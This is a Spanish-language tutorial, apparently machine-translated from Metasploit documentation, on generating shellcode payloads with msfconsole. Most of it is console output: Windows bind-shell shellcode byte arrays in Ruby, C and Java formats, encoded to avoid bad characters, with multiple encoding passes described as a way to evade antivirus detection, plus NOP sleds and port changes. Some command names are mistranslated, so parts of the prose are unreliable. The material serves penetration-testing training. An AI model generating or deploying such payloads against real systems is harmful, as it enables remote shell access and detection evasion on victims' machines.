Generando payloads en Metasploit

Generando payloads en Metasploit - Codelivly

Al desarrollar exploits, la creación de shellcode es un paso necesario. Metasploit proporciona una manera fácil de generar cargas útiles desde la consola de msf. Cuando selecciona una carga útil específica, Metasploit agrega automáticamente comandos útiles como "generar", "palanca" y "recargar". De estos comandos, "construir" es el foco de este tema porque le permite crear rápidamente cargas útiles. Con el comando generar de Metasploit, puede crear fácilmente cargas útiles personalizadas que satisfagan sus necesidades, haciendo que el proceso de desarrollo de exploits sea más rápido y eficiente.

msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...

    Command       Description
    -------       -----------
    generate      Generates a payload
    pry           Open a Pry session on the current module
    reload        Reload the current module from disk

Comencemos mirando las diferentes opciones para el generar comando ejecutándolo con el -h cambiar.

msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -i   the number of encoding iterations.
    -k        Keep the template executable functional
    -o   A comma separated list of options in VAR=VAL format.
    -p   The Platform for output.
    -s   NOP sled length.
    -t   The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x   The executable template to use

Para generar shellcode sin ninguna opción, simplemente ejecute el generar orden.

msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"

Es poco probable que la generación de shellcode sin modificaciones tenga éxito debido a la presencia de caracteres incorrectos y la necesidad de tipos de codificadores específicos según el sistema de destino.

El ejemplo de código mencionado anteriormente incluye un carácter incorrecto comúnmente reconocido: el byte nulo (\x00). Aunque ciertos exploits pueden permitir el uso de este personaje, no es comúnmente aceptado. Para generar el mismo shellcode sin ese byte no deseado, podemos decirle a Metasploit que lo excluya del proceso de compilación.

Para hacer esto, podemos usar el comando "generar" seguido del interruptor "-b" y la lista de bytes que queremos excluir durante el proceso de compilación. Esto asegurará que el shellcode resultante no contenga ninguno de los bytes especificados.

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...

Mirando el shellcode recién generado, es evidente que los bytes nulos se han eliminado con éxito, lo que da como resultado una carga útil sin bytes nulos. Además, existen otras diferencias notables entre este y el shell de enlace generado anteriormente, debido a la exclusión aplicada durante la generación.

Una de las diferencias es el tamaño total de bytes del shellcode. En la iteración anterior, el tamaño era de 341 bytes, mientras que el shellcode actual es 27 bytes más grande.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...snip...

Durante el proceso de compilación, los bytes nulos debían reemplazarse o codificarse para garantizar que el shell de enlace siguiera funcionando una vez que estaba en la memoria.

Otro cambio importante en el proceso es el uso de un codificador. De forma predeterminada, Metasploit selecciona el mejor codificador para realizar la tarea en cuestión. El codificador es responsable de eliminar los caracteres no deseados, entre otros, que se ingresan al usar el interruptor -b. Nos sumergiremos en los codificadores con más detalle más adelante.

Al especificar caracteres incorrectos, el marco utilizará el codificador más apropiado para el trabajo. En el caso del ejemplo anterior, se utilizó el codificador x86/shikata_ga_nai cuando solo se restringía el byte nulo al generar el código. Sin embargo, si agregamos más caracteres malos a la lista, se puede usar un codificador diferente para lograr la misma tarea. Agreguemos varios bytes más a la lista y observemos los resultados.

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...

Como se ve en el nuevo shellcode, se usó un codificador diferente para eliminar con éxito los bytes restringidos. Es probable que el codificador Shikata_ga_nai utilizado anteriormente no pudiera codificar la carga útil utilizando la lista de bytes restringidos. Sin embargo, el codificador Fnstenv_mov pudo realizar esta tarea. Esto destaca la importancia de elegir el codificador correcto para el escenario específico y la lista de bytes restringidos.

Índice
  1. Error de generación de carga útil
  2. Uso de un codificador al generar la carga útil
    1. Generación de payloads con múltiples pases
  3. Generación de carga útil usando trineo NOP

Error de generación de carga útil

Tener la capacidad de generar shellcode sin usar ciertos caracteres es una de las grandes características que ofrece este marco. Eso no significa que sea ilimitado.
Si se dan demasiados bytes restringidos, ningún codificador puede estar listo para el trabajo. En este punto, Metasploit mostrará el siguiente mensaje.

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.

Es como quitar demasiadas letras del alfabeto y pedirle a alguien que escriba una oración completa. A veces simplemente no se puede hacer.

Uso de un codificador al generar la carga útil

Si bien Metasploit selecciona automáticamente el codificador más apropiado al generar una carga útil, puede haber situaciones en las que se necesite un codificador específico, independientemente de lo que sugiera el marco. Por ejemplo, en un escenario de explotación en el que la carga útil debe contener solo caracteres no alfanuméricos para ejecutarse correctamente, el codificador 'shikata_ga_nai' puede no ser adecuado, ya que utiliza casi todos los caracteres disponibles para la codificación. En tales casos, es fundamental identificar y utilizar el codificador apropiado que cumpla con los requisitos específicos del exploit.

Mirando la lista de codificadores, vemos el x86/no alfa el codificador está presente.

msf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Volvamos a nuestra carga útil de shell vinculante, pero esta vez le diremos al marco que use el codificador "no alfa". Esto lo hacemos usando el -mi interruptor seguido del nombre del codificador como se muestra en la lista anterior.

msf  payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...

Si todo salió según lo planeado, nuestra carga útil no contendrá ningún carácter alfanumérico. Pero debemos tener cuidado al usar un codificador diferente al predeterminado. Como esto tiende a darnos una carga útil más grande. Por ejemplo, este es mucho más grande que nuestros ejemplos anteriores.

Nuestra siguiente opción en la lista es la -F cambiar. Esto nos da la opción de guardar nuestro payload generado en un archivo en lugar de mostrarlo en la pantalla. Como siempre, sigue el generar comando con la ruta del archivo.

msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf  payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...

Al usar el gato comando de la misma manera que lo haríamos desde el shell de comandos, podemos ver que nuestra carga útil se ha guardado correctamente en nuestro archivo. Como vemos, también es posible utilizar más de una opción a la hora de generar nuestra shellcode.

Generación de payloads con múltiples pases

El siguiente en nuestra lista de opciones es el iteración cambiar -I. En pocas palabras, le dice al marco cuántos pases de codificación debe hacer antes de producir la carga útil final. Una de las razones para hacerlo sería por sigilo o evasión de virus. La evasión de virus se trata con más detalle en otra sección de MSFU.

Entonces, comparemos nuestra carga útil de shell vinculante generada usando 1 iteración versus 2 iteraciones del mismo código de shell.

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...

Al comparar las dos salidas, vemos el efecto obvio que tuvo la segunda iteración en nuestra carga útil. Primero, el tamaño en bytes es mayor que el primero. Cuantas más iteraciones hagamos, mayor será nuestra carga útil. En segundo lugar, al comparar los primeros bytes del código resaltado, también vemos que ya no son los mismos. Esto se debe a la segunda iteración o segundo paso de codificación. Codificó nuestra carga útil una vez, luego tomó esa carga útil y la codificó nuevamente. Miremos nuestro shellcode y veamos qué diferencia harían 5 iteraciones.

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...

El cambio es significativo en comparación con todas las versiones anteriores. Es un poco más grande y nuestros bytes están lejos de ser similares. Lo que, en teoría, haría que esta versión de nuestra carga útil fuera menos probable de ser detectada.

Pasamos mucho tiempo generando shellcode desde cero con valores predeterminados. En el caso de un shell vinculante, el puerto de escucha predeterminado es 4444. A menudo es necesario cambiarlo. Podemos lograr esto usando el -o interruptor seguido del valor que queremos cambiar. Veamos qué opciones podemos cambiar para este payload. Desde msfconsole emitiremos el mostrar opciones orden.

msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

De forma predeterminada, nuestro shell escuchará en el puerto 4444 y la función de salida es 'procesar'. Cambiaremos esto al puerto 1234 y la función de salida 'seh' usando el -o. La sintaxis es VARIABLE=VALOR separados por una coma entre cada opción. En este caso, el puerto de escucha y la función de salida se cambian, por lo que se utiliza la siguiente sintaxis LPORT=1234,EXITFUNC=seh.

msf  payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...

Generación de carga útil usando trineo NOP

Finalmente, echemos un vistazo a las opciones de formato de salida y longitud del trineo NOP. Al generar cargas útiles, el formato de salida predeterminado es "ruby". Aunque el lenguaje Ruby es extremadamente poderoso y popular, no todos lo codifican. Tenemos la capacidad de decirle al marco que proporcione nuestra carga útil en diferentes formatos de codificación, como Perl, C y Java, por ejemplo. También es posible agregar un sled NOP al principio al generar nuestro código de shell.

Veamos primero algunos formatos de salida diferentes y veamos cómo -t se utiliza el interruptor. Como todas las demás opciones, todo lo que debe hacer es escribir el interruptor seguido del nombre del formato como se muestra en el menú de ayuda.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...

msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
	(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
	(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
	(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
	(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
	(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...

Al examinar la salida de los diferentes lenguajes de programación, podemos observar que cada salida sigue la sintaxis del respectivo lenguaje de programación. Por ejemplo, mientras que Ruby usa el carácter hash "#" para los comentarios, C lo reemplaza con la sintaxis del carácter de barra oblicua y asterisco "/*". Las tres salidas tienen matrices correctamente declaradas, formateadas para el idioma seleccionado, que se pueden copiar y pegar directamente en el script.

Además, es posible agregar un sled NOP (sin operación o próxima operación) con el interruptor "-s", seguido del número de NOP. Este sled se agregará al comienzo de la carga útil. Fundamentalmente, cuanto más grande sea el trineo, más grande será el shellcode. Entonces, agregar 10 NOP agregará otros 10 bytes al tamaño total.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

El texto amarillo resaltado nos muestra nuestro trineo NOP al comienzo de la carga útil. Al comparar las siguientes 3 líneas con el shellcode justo arriba, vemos que son exactamente iguales. El número total de bytes, como se esperaba, aumentó exactamente 14 bytes.

Si quieres conocer otros artículos parecidos a Generando payloads en Metasploit puedes visitar la categoría Tutoriales.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir

Esta página web utiliza cookies para analizar de forma anónima y estadística el uso que haces de la web, mejorar los contenidos y tu experiencia de navegación. Para más información accede a la Política de Cookies . Ver mas